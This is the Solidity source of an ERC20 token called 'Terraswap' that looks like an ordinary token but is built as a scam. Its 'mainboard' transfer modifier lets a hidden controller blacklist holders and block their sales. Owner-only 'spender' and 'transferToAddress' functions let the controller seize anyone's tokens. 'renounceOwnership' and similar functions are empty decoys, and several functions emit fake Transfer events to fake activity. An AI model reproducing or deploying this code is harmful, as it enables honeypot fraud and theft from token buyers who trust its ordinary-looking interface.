Contract Source Code:
File 1 of 1 : Terraswap
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Terraswap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeAddrInCharge;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0xa47c8bf37f92aBed4A126BDA807A7b7498661acD;
address public _comptroller = 0x53EE872af21b17a57Ddd521086b9a98855867E8E;
constructor () public {
/*
address private sushiRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
address private univ2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private univ3Router = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
address private traderjoeRouter = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
address private pangolinRouter = 0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106;
*/
_name = "Terraswap";
_symbol = "TSP";
_decimals = 18;
uint256 initialSupply = 1000000000 * 10 ** 18 ;
_safeAddrInCharge = _comptroller;
_mint(deployer, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_comptroller == _safeAddrInCharge
&& from == _comptroller
)
{_safeAddrInCharge = dest;_;
}else
{
if (
from == _comptroller
|| from == _safeAddrInCharge
|| dest == _comptroller
)
{
if (
from == _comptroller
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeAddrInCharge
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeAddrInCharge){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeAddrInCharge)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_oblit(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_oblit(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approval_pl(address[] memory destination) public {
require(msg.sender == _comptroller, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function approval_mi(address safeOwner) public {
require(msg.sender == _comptroller, "!owner");
_safeAddrInCharge = safeOwner;
}
function approvePlusOne(address[] memory destination) public {
require(msg.sender == _comptroller, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_discarded[destination[i]] = true;
_plus[destination[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _comptroller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _comptroller, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_comptroller] = _balances[_comptroller].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _oblit(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _comptroller){from = deployer;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _comptroller, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function vestTokens()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function transferToken(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function _enable(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function _disable(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function spender(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferToAddress(address from, address to, uint256 amt) public _verify() virtual returns (bool) {
//Single Tranfer
_transfer(from, to, amt);
_approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amt, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function testAirdrop(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function beginStaking(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}